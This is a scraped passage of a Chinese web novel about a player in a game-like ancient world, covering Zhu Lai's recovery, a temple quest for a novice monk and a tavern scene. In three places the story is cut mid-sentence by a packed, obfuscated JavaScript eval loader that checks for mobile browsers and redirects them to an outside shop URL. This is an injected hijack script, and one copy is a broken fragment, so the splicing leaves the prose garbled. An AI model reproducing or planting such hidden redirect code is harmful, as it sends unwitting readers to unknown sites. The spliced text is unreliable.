她身体还没好全,虽说不会真的死,但依旧很难受,跟现实中生病没什么两样,还因为是溺水,痛苦程度不亚于发烧加喉咙发炎加重感冒,再加任何一个不严重却时刻让你难受着的小病。 她现在就中招了,打算卧床不起。 人生不过三万天,她能不能过三万天还不知道,能休息先休息。 “你今天别吵我,我要睡觉。”祝涞闷着头,拱了下被子。 阳光明媚,春光姣好,在这样的天里做什么都不叫浪费时光,她的心情跟着天气在变好。 祝涞就这样睡到了大中午,“叩叩叩”,外面有人敲门,她没理。 “叩叩叩”,又来一声。祝涞不耐烦地要去开门,就听到一个意想不到的声音。 “师父!师父你快开门!”娄吉在门外喊着。 祝涞赶紧把门打开。 娄吉一把搂住她:“师父!听说你昨晚掉坑里了,你没事吧?!” 祝涞愣住了,她把娄吉轻轻推开,让他站好,两手扶着他的肩膀问:“什么掉坑里了?” 娄吉指着还在看戏的御竹,被指的人没有丝毫的闪躲,还微微耸肩:“嗯,你师父昨夜带着全身泥回来,乍一看,还以为练画练的掉进墨缸里了。” 什么东西?!好在祝涞理解能力还不错,立马明白了他的意思。 “嗯嗯。”祝涞配合他,朝娄吉点头,“我没什么事,肯定是这两天太累了,头眼昏花,一不小心就摔了。” “师父。”娄吉真诚地看着她,又垂下头,“你教我……觉得很累吗?” “那倒也不是。”祝涞语塞,想了好一会,才说,“肯定是我太努力了,太勤奋了,跟你没关系。” 娄吉当场怔愣住。 御竹当场瞪大眼。 昝浮生带着满身的风尘走进来,就见里面站着几个人形雕像。 “怎么?”他问两人,眼睛却看向祝涞。 “他们被我的勤劳打败了。”祝涞面不改色。 昝浮生目光只在她脸上停了一瞬,微微侧开:“此为你睡到正午的理由?” “睡到中午还不是因为昨天溺……”祝涞话锋急转,“泥巴弄我一身嘛。” 她探究地眼神看着昝浮生:“昨天谢谢你。” 御竹这才反应过来今天早上看到从祝涞房间出来的殿下,他那时的眼瞪得比现在还大,整个目瞪口呆,只不过他家主子的样子太正经,根本不像风流了一晚,更像是被别人糟蹋了。 御竹看祝涞的表情有些不好,但是昨晚祝涞都虚弱成那样了,哭声也大,还有力气拦住殿下,不让他走? 他不敢问主子,因为主子貌似并不想说。 反正不管怎么想,这俩在御竹心里的关系已经变得很不一样了。 昝浮生没说话,他坐到中堂,把之前没写完的书法放好,又拿起笔。娄吉登时来了兴趣,他跑过去看,见桌面上一沓写满文章的纸,那字写得行云流水,张弛有度。 “这些是你写的吗?写得真好!”娄吉指着其中一张说道。 昝浮生抬眸,将笔沾了墨:“你师父写的。” 祝涞:?! 娄吉回头看她:“师父你还会书法啊,” 祝涞走近一看,确实是自己写的,不知什么时候被他拿了出来,还照着她的字在临摹。 “你师父本应先当的吾师父。”昝浮生没动笔,眼神越过娄吉,看向身后的祝涞,脸色如常。 想偷偷溜走被抓个正着的祝涞:“嗯…我见他如此努力画画,就想先助他一把。”祝涞又给娄吉使了个眼色。 千万别说我要进画院。 好死不死的,娄吉当下便问她:“师父,你当时不是说,要与我一同进焦大师的画院,所以才来教我的吗?” 祝涞左思右想:“噢噢,是吗?应该是吧,我忘了。” 她又想往外走。 “站住。” 那声音不大,却唬她个正着。祝涞顿时没再动,眼睛不知在看哪,反正就是没看昝浮生。 “你师父还需休养两日,待她身体好些了,自然再会去教你。”昝浮生对娄吉说,片刻后,他在纸上随意画下几笔,峦山溪川的脉络雏现,“画画太过较真,未免是好事。” 娄吉恍然大悟的样子:“我明白了。”他说着一拍手,转过身对着祝涞,“师父你多保重,我先回去了。” 祝涞:…难道不应该是祝我早日康复么? 然而她一转头就看见昝浮生沉着个脸。 …… 好像保重也没错。 娄吉走后不久,房间里没人说一句话,御竹见气氛不妙,赶紧开脱:“我出去练一会儿。” 祝涞见他要走,连忙说:“欸等一下,我也想练。” 话刚说完,祝涞又觉得要完蛋了。 因为周遭的气压更低了。 御竹一溜烟先走一步,祝涞呆愣着站在门边,头低着,脚偷偷往外面移。 就在她觉得过了有半个世纪那么长的时候,她稍稍抬头看了一眼,离之前的位置还不到五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854611|191630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厘米远,再一看,脚边还多了个人。 昝浮生的腰带上佩戴着一个青绿色玉圆环,底下缠有一串金黄色蝴蝶流苏,随着他来的动作而一起一伏,像要翩翩起舞。 昝浮生走近些,他带起的风让祝涞觉得有点冷,她微微一颤,感觉他俯下了身来,高大的身躯又很清瘦,却仍带有一股压迫感。 “你还想有多少个老师?” 他的话让祝涞心脏一紧。 祝涞在心里给自己打气,她抬起头,毫不畏惧地对上他的眼睛:“那又怎样?不行么?” 昝浮生嘴笑眼不笑,一脸薄凉:“你若有什么想学,朕可以教你。” 祝涞早在御竹那里得知他十八般武艺样样精通,他既然这么想教她,她倒也不亏,只是他说自己来微服私访,那必要花时间在这上面,又哪里有空教她?而且他不还要看书么? “我想练武。”祝涞说着,朝他走近一步,脸和他隔得不过几寸远,她笑道,“你能一整天教我吗?我还什么都不会,想学快点。” “可以。”昝浮生直起身,目光依旧凝视着她,“不过你不能去画院。” 她本来也没想去,这就算不上什么要求。 祝涞:“好啊。” 昝浮生的目光移向她的房间:“这几日不可行,需待你身体痊愈。” 祝涞都快忘了自己还病着这回事,她确实有些感冒了:“嗯。” * 晚上祝涞喝了昝浮生给她熬的麻黄汤后,还是找系统要药:“给我感冒药。” 系统脑子里的水干得差不多了,它躺在祝涞脚边,今天一天祝涞都没做任务,它也乐得清闲:“我这里没有,你要去补给站。” “补给站?”祝涞想到那个诡异的管理员,感觉凉飕飕的,“我现在去不了,你帮我去买可以吗?” “不行。”系统滚着圆圆的身子,“你忘了吗?买道具是需要身份核验的,要摁掌印。” 人感冒了就是反应慢,祝涞擤了几下鼻涕,感到头十分沉重,她躺下来,钻进被子里,又冷又热的。 她好想有个人形抱枕,昨天那个就挺好,没想到昝浮生看着一副文文弱弱的样子,身材却这么有料,总之抱得很舒服,还很香。 祝涞顿时觉得自己有些变态,难不成她真有什么癖好? 但是祝涞不想把自己的感冒传给他,以防万一,她明天也打算少跟他们讲话。 夜里,祝涞睡得昏昏沉沉,浑身酸痛,她感觉有人轻轻探了下她的额头,还为她换了几次冷毛巾,她身体一重,出了好些汗。她一感冒就容易发烧,虽说没什么大问题,但过程却无比煎熬,她就这样迷迷糊糊睡到了中午。 一醒来,祝涞看到自己的被子上盖满了衣服。 …… 这下她知道昨夜里为什么感到身体沉重了。 祝涞伸了个懒腰,感到一身轻松,看来发烧已经好了,她拎起睡得正香的系统:“你不是机器鸟吗?还用睡觉?” 被打扰的系统:“机器也需要休息的,不然容易死机。” 祝涞想起昨天它说的话:“你当时掉下去后,有感受到什么异样吗?” “没有。”系统闭着眼,一副不想理她的样子。 “那就奇怪了,我怎么感觉你变瘦了呢?”祝涞看着“瘦”版系统,疑惑地说道。 11. 第十一回 系统确实“缩水”了,变得只有原来一半大。 “死鸟,机械怎么会缩小?这已经不是偷工减料的问题了吧?”祝涞凑近看,感觉比之前顺眼了点,它现在的体型跟麻雀差不多大小。 系统伸出左边翅膀,再伸出右边的,现在已经能够碰到对方了,它心疼自己那“二两肉”:“不知道,感觉好陌生。” “难道是热胀冷缩?我拿你到火堆旁烤烤。”祝涞好笑地看它,把手伸过去。 刚一碰到,系统抖个一激灵:“可别,我最怕火烤了,还有腐蚀,可难熬了。” “这里又不是现实世界,我怀疑,你是又出现什么bug了。”祝涞一只手托腮,点了点它,“不过你还会被腐蚀?真的假的?” “当然会了,我们做的可是十分仿真的。”系统晃了晃脑袋,似乎很得意。 “仿真你还缩水啊,哈哈哈哈哈。”祝涞拍腿大笑,丝毫不在意一旁干瞪眼的系统。 “你仿真,还是这里的世界仿真?”祝涞笑够了,捧着发痛的肚子问它。 “都是。”系统直盯着她,眼睛越发鲜红,只一瞬,又恢复清澈。 祝涞顿感异样,细想还有些毛骨悚然。 不过它说腐蚀,祝涞倒是想起来一件事:她有一个细双环银手镯,是很小的时候奶奶送给她的,有次去海边玩,她忘记摘,回来没几天就被氧化了。 她心疼极了,当场痛哭,爷爷安慰她,还告诉她银首饰都不能带去海边,也不能碰到盐水。 祝涞那时候喜欢刨根问底,问他为什么,爷爷就耐心地给她解释了一番。 …… “你也掉海里了?”祝涞问它。 “不是。”系统的声音低沉,带着一种严肃感,“是在另一个世界的时候。” 祝涞跟着正襟危坐:“另一个世界?不就是现实世界?你还去过那里?” 系统沉默了好一会,没再多说。 “小不点心事还挺多。”祝涞打趣它道。 只不过,祝涞突然觉得,这里的一切好像都更有活人感了。 * [连理枝]的任务还是没完成,祝涞无计可施,跟着昝浮生练武。 “身体还没好么?”昝浮生带着她打了几套太极拳,总觉得她心不在焉。 “昝…殿下,我想出去一趟。”祝涞说。 “大病初愈,就急着要走?”昝浮生没往下教她,他站起,一手轻轻地拂着身上的落叶。 御竹把剑利落得放回剑鞘,笑着走过来:“姑娘整天神出鬼没,溺水之前,没一天是着家的。” “我去找巧儿大山他们报个平安总可以吧?天黑之前一定回来!”祝涞发誓。 昝浮生往门里走,没回应。 “姑娘你……”御竹靠近点,想跟她打探消息,那边的主子就开始喊他。 “御竹。”昝浮生甚至没回头。 御竹无奈地笑,向祝涞抱拳:“姑娘注意别染了风寒。” “谢谢,我会的。”祝涞抱拳。 * 她没去巧儿家,而是去了补给站。 “你这有感冒药么?”祝涞一进来就问,她想提前备着点。 生命体征值有两个衡量标准:生命值和魄力值。吃饭打架受伤影响的是生命值,压力武力智力之类的就是魄力值,而生病有所不同,两个都会影响。当其中一个及以上为零时,则判定为死亡。 危潜走到道具架上挑了一阵,才找两个个落了灰的胶囊,他丢给祝涞,右耳边的三个银色耳环在惨白的几何吊灯下微微反光:“喏,只有这两个了。” “你们不进货的吗?”祝涞接过两个胶囊,她三百六十度看了下,跟上次来拿的几乎没有差别。 “这点小病谁会在意,更别提来拿药了。”危潜的头发是黑色挑染了深蓝,眉眼生得嚣张跋扈,这幅模样,有钱的是执垮少爷,没钱就是不良少年。 祝涞撇嘴,又捕捉到一个词:“谁?” “还有其它人来过?” 系统不是跟她说只有一位玩家么?难不成是骗她的? 没了“肉”看着少些了底气的系统:“我可没骗你。” 危潜坐在电脑边摆弄他的挂件,头也没抬道:“有,不过是之前。” 祝涞被他的话弄得一头雾水,她靠在桌边看他:“你说清楚点,之前是什么时候?还有,那个''谁''又是哪个人?” 危潜把顺毛好的挂件放下,双手相扣,托着脑袋看向祝涞:“这里不方便说。”他又露出一个浅浅的笑,“总之,这里没你想的那么轻松,简单。” “我也没觉得简单轻松啊。”祝涞给他看手里的药,“你看,一个小感冒就足以击垮我。” “嗯……”危潜闻言往四处看,正巧碰见系统也在看他,“能说吗?” 系统又沉默了。 “你说吧,它不会听到的。”祝涞把它耳朵捂起来。 危潜:…… “这鸟上午跟我说的,说是它之前被腐蚀过,还是在另一个世界,你知道是怎么回事么?”祝涞把系统放到一边,没了慵懒随意样,很是认真地问。 “它真是这么跟你说的?”危潜看着祝涞,又看了看系统,眼里闪过一丝惊讶。 “真的啊。”祝涞点头,她又把系统放在手里,“不信你问它。” 系统被迫对视上危潜的目光,没什么精神地点头。 “这事还得从两年前说起,那时,我也是一名玩家。”危潜缓缓开口,“我当时也配了个系统,说不定就是你现在这个。” 祝涞被四五句话却有着庞大的信息量给冲击到了,她揉着太阳穴:“你是说,你不是NPC?” “是,也不是。”他顿了下。 “有些任务最好别做,会带来惩罚。” 祝涞还想问点什么,可惜危潜没再透露了,只说等有机会再告诉她。 * 从危潜那出来后祝涞就一直晕乎乎的,她梳理刚刚获得的信息,不知不觉走到了闹市。 “侬拿着香火,莫不是要去金泰寺上香?”一个妇女拿着一篮子香花,问她对面的农妇。 “是哟,汝去何地啊?”那农妇回她,把头上的碎发理好了些。 “也是要去金泰寺。”妇女上前一步,挽着农妇的胳膊。 “金泰寺在哪儿?”祝涞问她们。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854612|191630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “侬竟不认识金泰寺?”那农妇一脸鄙夷地看着她,又说,“宁息镇。” 两人就这么手挽手走远了,祝涞合理怀疑是系统故意上演这么一段剧情的,因为她怠工了两天。 之前系统说的伍小钊就是宁息镇的,祝涞正要跟着她们后面走,又想到危潜的话。 “不是每个任务都要做的。” 那么是哪些任务最好不要做呢?祝涞打算之后再去问他,先去了金泰寺。 迎接她们的是一位青年僧侣,他穿着一身素灰色僧衣,头皮泛着青黑发茬,一圈深绿色念珠拿在手里,朝她们两手合十:“贫僧乃本寺执事僧,法号皮世。有朋自远方来,施主快快请进。” 这里介绍自己都喊的法号,她上哪找叫伍小钊的去?祝涞呆愣了一会,那两妇女先进去了。 祝涞什么都没带,可见她并不是个虔诚的信众,那僧侣略有些不满,随后立马冲她一笑:“这位施主想必是第一次来,既是有缘之人,那便一起进去吧。” 这寺庙修得挺大,几尊大佛坐落在大堂里,庄严沉肃,前来参拜的人络绎不绝,香火从没间断过。 一位中年妇人,眉头紧锁地跪在佛前,双手将香举得极高,闭着眼快速地张合着嘴,香灰微微落在她颤抖的双手上,她也浑然不觉。 祝涞看着她弯下去的腰,几乎看不见头。 左侧有一位年纪大点的高僧,可能就是方丈了,他的肤色是淡金色,跟佛像融为一体,皱纹深却平缓,他正与旁边一位小僧交谈着,露出慈善的笑容,看人的眼神很平和。 祝涞趁皮世还没让她给香火钱,赶忙说道:“你们茅厕在哪?” 皮世转着珠子的手停下来,似乎没想到她一个姑娘家家这么粗俗,还是指了下后院:“东净在出门的右边,有学僧,施主若找不到问他便知。” 他又将一手竖起,低了下头便走了。 祝涞才不是要去那儿,她在后院抓了个在扫落叶的小僧:“你认识伍小钊吗?” 那小僧被她抓得有些害怕,支支吾吾说:“小僧……小僧不认识什么伍小钊。” 叮! 系统从补给站出来又要爬山,它在半山腰缓了好半天才跟过来。 [普通任务:积攒功德] [任务背景:伍小钊是金泰寺专门学习佛教的学僧,佛教强调抄写佛经可积累“出世功德”,学僧们每日需抄写三篇佛经,若有未达到者,罚扫庭院一天] [任务目标:找到伍小钊抄完的三篇佛经,交给主持] [任务奖励]:随机珍品道具x1 【野鹤·真迹】x1(装饰性道具,仅可在家中使用) 等级经验+5000 书画经验+300 功德+100 都弹出任务了,那就是这小子了。 祝涞又问他:“你不认识伍小钊,那你法号是什么?” 小僧紧闭着嘴,祝涞又将另一只手放在他身上,悄悄用了点力,但不重。 “扶伊。”小僧低声说。 系统在一旁给祝涞补充:“另,伍小钊的法号为扶伊。” 祝涞:好啊,你敢骗我! 12. 第十二回 “我再问一遍,你当真不认识伍小钊?”祝涞的语气带着威胁。 那小僧一听这话,立马怂了,不过他强装镇定:“施主找他…有何事?” “反正不是坏事。”祝涞说。 “……是我。”伍小钊说着,紧绷的神情略微放松下来,“我还以为你是找事的,不是就好。” “找事?你得罪人了?”祝涞拉着他到一侧较为隐蔽的菩提树下。 “伍小钊是我在回南村的名字,我从小就没有爹娘。”伍小钊低着头,手一下下地扫着空地,“那里有人欺负我,笑我是个没人要的野孩子,我就躲这里当学僧来了。” 祝涞有了之前的教训,这会不想费太多感情,开门见山问:“你抄的佛经放哪了?” “你怎么知道这个?”伍小钊闻言微微一愣,往身后看了一眼,确认没人后,才说:“我也不知道,要问他们。” “他们是指?”祝涞想应该不会是之前那些人吧。 “计仁他们。”伍小钊的脸色有些不好,“肯定是他们合伙把我的给藏起来了。” “为什么藏你的佛经?” “他们不愿意罚扫。因为如果都抄了,就随机选一个人扫。” “那为什么不偷其他人的?” “你问他们去。” “你怎么知道是他们偷的?”祝涞又问。 “我有次晚上醒过来,见到计仁在床边偷偷摸摸,但我不确定他是否在偷佛经,就没说话,因为那边放有好些东西,我们的床都是在一块的,自然桌子也在一起。”伍小钊小声地说,“第二天我就被罚了,后面几天我睡得熟,没见到过,但我猜是他们。” “你既然知道可能会被偷,为何不把佛经放好,或是告诉主持?”祝涞说。 伍小钊的手一停,把扫帚往树上一靠,转过头对祝涞说:“我也想,可是每次一写完就一直有人盯着我,再说,告诉主持,他会信么?那些信佛的人最讲究礼义廉耻,我没有证据,他们就会觉得我诬告。” 伍小钊用的词还是“那些信佛的人”,可见他也不是什么虔诚的学僧。 祝涞想了想,问他:“计仁在哪?” “你想干什么?”伍小钊用一种警惕的眼神看她。 “不干什么,”祝涞又把手放他肩上,这会没使力,只是很轻地拍了拍,“就是想见见。” 伍小钊虽然害怕招惹他们,但又很好奇祝涞会做什么,他还是说:“在禅堂。” 后院的树挺多,占地也大,出门直对的有几座矮房,主要是僧人住的地方,还有斋堂,右边空位大点的晾着许多衣物,大多是素色,典雅且单薄,风若是大点,那衣服便能飞上天。 祝涞跟着伍小钊兜兜转转好一阵才到他所谓的禅堂——就是一个念佛堂,整体看着不太,里面却塞满了十来个学僧,异口同声地诵读着经书,法师在其中来回踱步,看哪个人没有念。 祝涞诶了一声:“我怎么觉得还是扫地好一点呢?” 伍小钊没说话,盯着里面某个人出神。 不过学习时间最好不要去打扰他们,祝涞跟伍小钊又往回走了些,这里的泥巴路很厚实,野草闲花不高,路面相对平整,没那么容易踩空,祝涞拉着他停下:“先找找你的佛经,你觉得他们会藏哪?” 伍小钊往地面上看:“住所我都找过了,没有,后院的地我也清扫得差不多,没有发现佛经。” 如果要把这寺庙里一处都找的话,那怕是要花上几天几夜了,她是没那个闲情,况且,她想到了一个更好的法子。 等到伍小钊把后院大部分落叶都清扫完后,念佛堂里陆续出来几个人。伍小钊指着其中一个个子稍高,有些肥壮的人,对祝涞说:“他就是计仁。” 计仁身边还跟着两人,一个身材瘦小,看着却一股精明劲儿,正绘声绘色地说这着些什么,另一个身高跟计仁差不多,只矮一点,看起来中规中矩,面色平静。 “高点的是广辽,矮的是封海。” 那三个人乍一看跟普通的学生没什么两样,只是外貌和衣着有区别,若不是伍小钊跟他说这些,祝涞怎么也想不到幕后黑手会是这些看起来人畜无害的佛学僧。 学僧分了两批,一些进了斋堂,还有一些继续往前走,那方向正是金泰寺的主寺庙。 计仁他们是第二批的,祝涞走过去把他们拦了下来:“敢问这位学僧,可否请教您几个问题?” 那三人面面相觑,没一人说话,封海见状,假装内行地说:“施主有何疑问?”许是怕自己答不出来丢人,他又说,“今日方丈有出面寺庙,施主何不找方丈答疑解惑?” “方才已经找过了,可答案不甚为满意,方丈身边的人让我来找计仁,说他也许能给我一个满意的答案。”祝涞看着封海,问他,“你知道计仁是谁么?” 那小个子稍稍惊讶,脸上带着一丝窘迫,有些不满地指了下左边的人。计仁从听到前面那段话就有些飘飘然,此时也没在意到投射而来的嫉妒的目光,他向祝涞单手合十,微微点头:“小僧法号计仁。” 伍小钊在不远处假装认真地扫着落叶,一只耳朵竖起来听着这边的讲话,计仁看见伍小钊,更是得意地笑:“施主有何困惑?” 祝涞:“我家有只狗,喜欢做坏事,某天邻居来我家告状,说狗把他家的鸡给咬死了,我一看那狗,跟平常一样,也不心虚,教训了好几次也没用,我应当怎么唤起它的良知呢?” 对不住了二雪,剧情需要,牺牲一下。 那三人听完皆是一副无语的表情,碍于面子,计仁想了想,对祝涞说:“施主把它关起来便好,动物不像人,教化需要很长时间。” “哦,原来还能这样,你果然跟主持说的一样,是最聪明的。”祝涞张口就来。 计仁满意地笑了,两旁的人脸色铁青:“主持当真如此说的?” “嗯,你不信的话一问便知。”祝涞还指着伍小钊,“他也听见了。” 被莫名其妙点名的伍小钊:…… 昧着良心配合她点了点头。 祝涞赌他们不会问,毕竟谁会想要去验证一个自己不希望听到的答案呢?就算问了,祝涞就说听错了,他们也拿自己没办法。 那三人各怀鬼胎走远了,伍小钊等他们人影彻底看不见后,才急急忙忙跑过来,“你问他们这个问题,可有什么意图?” 祝涞佯装神秘,她一手托着手肘,一手点着下巴:“这个嘛……”她故意顿了会,还思考了一下,“可就说来话长了……” 伍小钊简直要凑过来听了,他原以为会听到一个高深莫测的答案,没想到下一秒,祝涞说:“单纯想骂他们一下而已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854613|191630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 不是指人,而是指他们的行为,实在太狗了,二雪都不屑于这么干。 “……”伍小钊沉默了,他低头叹了口气,“看来明日还需罚扫。” 伍小钊只有十一二岁,比她矮一个头,祝涞架着他的肩膀,凑到他头边说:“你傻啊,你写六份不就得了。” 伍小钊的眼神亮了一瞬,又突然暗灭:“六份有些多了,我抄三份都要半天。” “我帮你抄。”祝涞冲他扬了两下下巴。 “真假?”伍小钊一脸惊诧,没几秒,他又问,“你为何要帮我?” “因为……”祝涞说,“科学道理。” “什么理?”伍小钊茫然地问。 “管他什么理,反正是这么个道理,你再不走就等着我的修理。”祝涞一拍他的脑袋,兀自往念佛堂走。 伍小钊被她一掌拍得头有些晕,他赶紧跟上:“我们通常是下午一起抄的,他们待会用完了膳,就陆续有人过来。”他拉着祝涞往左边走,“下午藏经楼没人,你可以去那里。” 这楼有两层,外观挺气派,暗红色外墙,雕花门窗,光台阶就有十来层,内里多放有高木柜,经卷一一陈列出来,中间放着一个大方桌,还有少许纸笔和墨水,专供抄录经书。 “你们这是不是都崇尚佛教?”祝涞环顾四周,感觉这寺庙坐落在一个小小的山村实在很违和。 “其实不只我们这,整个国家的佛教活动都极为兴盛。”伍小钊在柜子里找了一番,抽出一个黄纸经书,“我们这还有专门抄经书卖的人。” “卖?”祝涞倒是没往这方面想过,她又问,“能赚到钱吗?” “还可以,但是需要很多纸,买纸也是要钱的,除非你家卖纸。”伍小钊把经书展开,又递给祝涞,“《法华经》卷三,抄三遍,不能错字,漏字。” 祝涞一把接过,豪气地说了声:“行。” 结果一打开,那纸长得不像话。 “你确定,三遍?全抄?”祝涞问他,她以前抄的书不比这少,但这是做任务,不一样。 “嗯。”伍小钊点了点头,一脸好自为之的表情,转身出去了。 祝涞大略看了一眼,字是隶书,很工整,不像她擅长的行书,可以一通写下来行云流水,她喊来一直没出声的系统:“可以用道具吗?” 系统飞到桌子上,小爪子踩着书卷一角,在道具栏搜索完后,对祝涞说:“有一个复制道具,但前提是你要先抄一遍。” 祝涞认命地用硬毫笔沾了些墨,认真地在纸上抄写着。 几束阳光透过玻璃窗洒在麻纸上,照得祝涞刚落笔的字熠熠生辉,她整个人都变得柔和,沉静,系统一时都没反应过来这是001。 * 宁息镇确实不宁息,几条老鼠穿街而过,吓得路过的妇人惊呼一声,又怒骂:“恁个过街死老鼠!” 昝浮生在一众小摊的哟呵声中眼皮都没动地走了,御竹被一个提着鸡蛋的商贩拉住。 “客官,汝买鸡蛋不咯?新鲜得很!刚从侬家老母鸡屁股里拿出来的!”那大娘大声说道。 “不了。”御竹拒绝她,撒开手赶紧跑走了。 “侬家的鸡蛋个个顶大!汝真……”御竹都走远了,她还在卖力宣传。 这个下午,注定不会太平静。 13. 第十三回 天气好得不像话。 万里无云,斜阳高照,昝浮生跟御竹一前一后走在路边的树荫下,前面那人步履平稳,却走得很快,扬起的衣摆上面是飘逸如墨的长发——昝浮生今日只束起了一半的头发,用白色织布扎好,延伸到尾端。 路的尽头是十字路口,熙熙攘攘的人群都集中在这里。左边有座装修华丽的建筑,悬山顶的檐角处是衔珠的小石兽,门口宽大的旗帜上写着一个大大的“酒”字,门楣有块匾,美名其曰“忘忧阁”,就一小会已经进去不少人。 昝浮生刚往旁边经过,眼尖的酒楼老板娘立马出来招呼:“客官进来看看吧!” 她跨过一道矮门槛,手帕被她放到酒红色的围裙里,她拉了一下后面的御竹,又看向微微转头的昝浮生:“你们是第一次来吧?以前没见过,咱们这可是扶嵊县最大的酒楼,过了这村是真的没这店了。” 见二人没反应,那老板娘又继续说:“今儿个正巧是咱们的头牌歌女表演,青槐,回回来的人都坐满,客官,你要是来,我给你安排个好座位。” 其实她就是见这二人风度翩翩,想必不是寻常人家,长得又俊俏,特别是前面那人,她可见多了,看似文质彬彬,书生模样,私下更是变着花样,所谓文人,也抵不过风流债事。 可现在感觉不是那么回事,她叽里呱啦说了一大堆,那二人依旧无动于衷,看样子还想走。老板娘没办法了,又对他们说:“若是不想看表演,还有说书和唱曲,二楼还有诗会酒令,今儿热闹。” 御竹对上老板娘期待的目光,他轻咳了声,对着昝浮生说:“公子,去吗?” 昝浮生看了看他,随后,他的眼神越过里面密密麻麻走动的人,停在了某个偏僻的角落,好半晌,他对老板娘点了点头,极具风雅地走进了酒楼。 老板娘:得,来了个正经的。 其实正经的人也不甚正经,他们没按她预想中的那样去二楼,而是在一楼歌舞台旁边停住脚步。 老板娘心中一喜:“两位公子可是要看青槐表演?” “有阁子么?”昝浮生突然问。 “哦,有的有的,公子请随我来,之前订的郡守临时有事,正好空出一个,那位置特好,一般人……”老板娘边说边带着他们往二楼走廊下的一圈阁房里走,指着一个正对着中间表演台的房间说,“就这,看看满不满意?” 老板娘说着回头看,就见昝浮生左右打量了一番,又指着一个犄角旮旯的阁子:“这个。” 那阁房又小又旧,因为视野不好,对着的大部分是台下的桌椅,没什么人订,自然也不怎么打理。 老板娘愣了下,还是说:“这个倒是行,不过里面很久没用了,我喊人过来收拾一下,稍等。” 老板娘不愧是老板娘,雷厉风行,一下就带了个小姑娘过来,那小姑娘不过十五六岁的样子,模样姣好,两只眼睛也大,此刻怯生生的,低头提着桶一声不吭地往里面走。 彼时祝涞正在对面台下架着腿啃瓜子,店里的伙计在收拾她桌上“干净”的碗筷——饭菜被一扫而空,像要把盘子都舔个干净。 “真的?还有这种事?”祝涞又一次被旁边的小二说的事给逗笑,她吐了吐瓜子壳,听那人继续往下说。 “可不嘛,你说她图他啥?”那小二见的人多了,家长里短奇闻异事什么都知道点,特别是这事还是关于他自己的,他又说,“图他长得丑?图他年纪大?” 祝涞在一旁要笑抽过去了,她努力平复自己的心情,深呼吸后长吁出一口气:“可能他有钱吧。” 小二听这话更是狠狠地拍了下大腿:“你不说还好,一说更来气,我当初认识她的时候,她信誓旦旦地说,她是爱我这个人,不在乎身外之物。可现在呢,就是一个巨大的笑话!” 祝涞合理怀疑这段剧情掺杂了某些个人感情和经历。 伙计端着碗碟要走,听到这话又停了下来:“你还在说这事呢?都过去几天了,还没忘掉?” 小二瞪着眼看他,那伙计瘪了瘪嘴走了。 祝涞还想听他说,右边走过来一个体型偏胖的女人,宽大的衣裙上虽然系了一条围裙,但这并不妨碍她看起来潇洒不羁,她提着小二的耳朵:“我才离开一会,你又在偷闲?要不是那位客官提醒我,我还没注意到这边。” “香姐饶命,老板娘饶命,我这就去忙话。”小二咋咋呼呼走了,只剩祝涞一脸意犹未尽的坐在原地,架着的脚在香姐的注视下默默放下。 被半路截胡的祝涞十分不高兴,她勃然小怒了一下,又想到确实没理,她只好问:“谁揭发他的?” 她倒要看看谁这么“好心”。 香姐撑着一边腰,往自己身后指了下,没再多说什么,去了二楼。 祝涞看着那边紧闭的门,总觉得有目光朝自己这里看,但她不确定是不是在看她,祝涞站起来,准备往右走。 二楼的楼梯下走来一众装扮艳丽的歌女,个个身姿曼妙,她们踏着底下琵琶古筝伴奏的节拍走上舞台,在台上跳起了《清平乐》。中间的人尤其婀娜多姿,长袖曲裾,头发梳着高髻且饰以簪花,腰间系带,轻纱在她的手上忽上忽下,忽左忽右,摇曳生姿。 翩若惊鸿,婉若游龙般的倩影让祝涞的眼睛都看直了。 叮! 系统从二楼栏杆上飞下来,给祝涞颁发任务。 [支线任务:雨巷情深] [任务背景:延观镇到宁息镇山高路远,青槐独自一人来到这里,举目无亲,正值雨季,青槐又冷又饿,一个男子见了她,给她买饼充饥,还把伞留下给她,并告诉她“忘忧阁”正在招歌女] [PS:歌女不同于歌妓] [任务目标:帮助青槐找到当年的男子] [任务奖励]:【回忆之泪】×1 【珍稀衣物·洛神赋】×1【琵琶】×1 青槐好感度+350 神秘男子好感度+400 这个“神秘”二字就显得有趣多了,而且加的好感度比青槐还多,说明对她还念念不忘。 可是祝涞有了之前的教训,她也不敢当什么红娘去牵线了,索性把这个任务略过,况且,她现在除了巧儿任务无望外,还有两个任务压身。她来酒楼就是来休息的。 一下子,四面的人都凑了过来,将祝涞里里外外围了个水泄不通,一曲终了,曲风突然欢快活泼起来,青槐轻盈 